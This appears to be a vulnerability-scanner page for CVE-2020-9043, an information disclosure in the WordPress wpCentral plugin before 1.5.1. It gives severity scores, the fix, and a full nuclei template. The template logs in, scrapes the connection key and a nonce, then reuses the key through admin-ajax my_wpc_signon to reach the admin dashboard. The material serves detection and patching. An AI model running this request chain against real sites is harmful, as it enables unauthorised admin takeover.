WordPress wpCentral <1.5.1 - Information Disclosure

highseverity

8.8CVSS score

7.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin.

Fix

Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/index.php ; GET /wp-login.php?action=logout&_wpnonce={{nonce}} ; GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}}
Positive when: contains(header_4, 'text/html') and status_code_4 == 200 and contains(body_4, 'wpCentral Connection Key') and contains(body_4, "pagenow = \'dashboard\'")

Run it with nuclei: nuclei -id CVE-2020-9043 -u <target>

The full check

id: CVE-2020-9043

info:
  name: WordPress wpCentral <1.5.1 - Information Disclosure
  author: scent2d
  severity: high
  description: |
    WordPress wpCentral plugin before 1.5.1 is susceptible to information disclosure. An attacker can access the  connection key for WordPress Admin account and thus potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the wpCentral plugin.
  remediation: |
    Update the wpCentral plugin to version 1.5.1 or later to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/10074
    - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043
    - https://wordpress.org/plugins/wp-central/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-9043
    cwe-id: CWE-200
    epss-score: 0.07365
    epss-percentile: 0.94459
    cpe: cpe:2.3:a:wpcentral:wpcentral:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: wpcentral
    product: wpcentral
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp,wpscan,vkev,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - "contains(body_4, 'wpCentral Connection Key')"
          - contains(body_4, "pagenow = \'dashboard\'")
        condition: and

    extractors:
      - type: regex
        name: authkey
        group: 1
        regex:
          - 'style="word-wrap:break-word;">([a-z0-9]+)'
        internal: true
        part: body

      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-z]+)'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from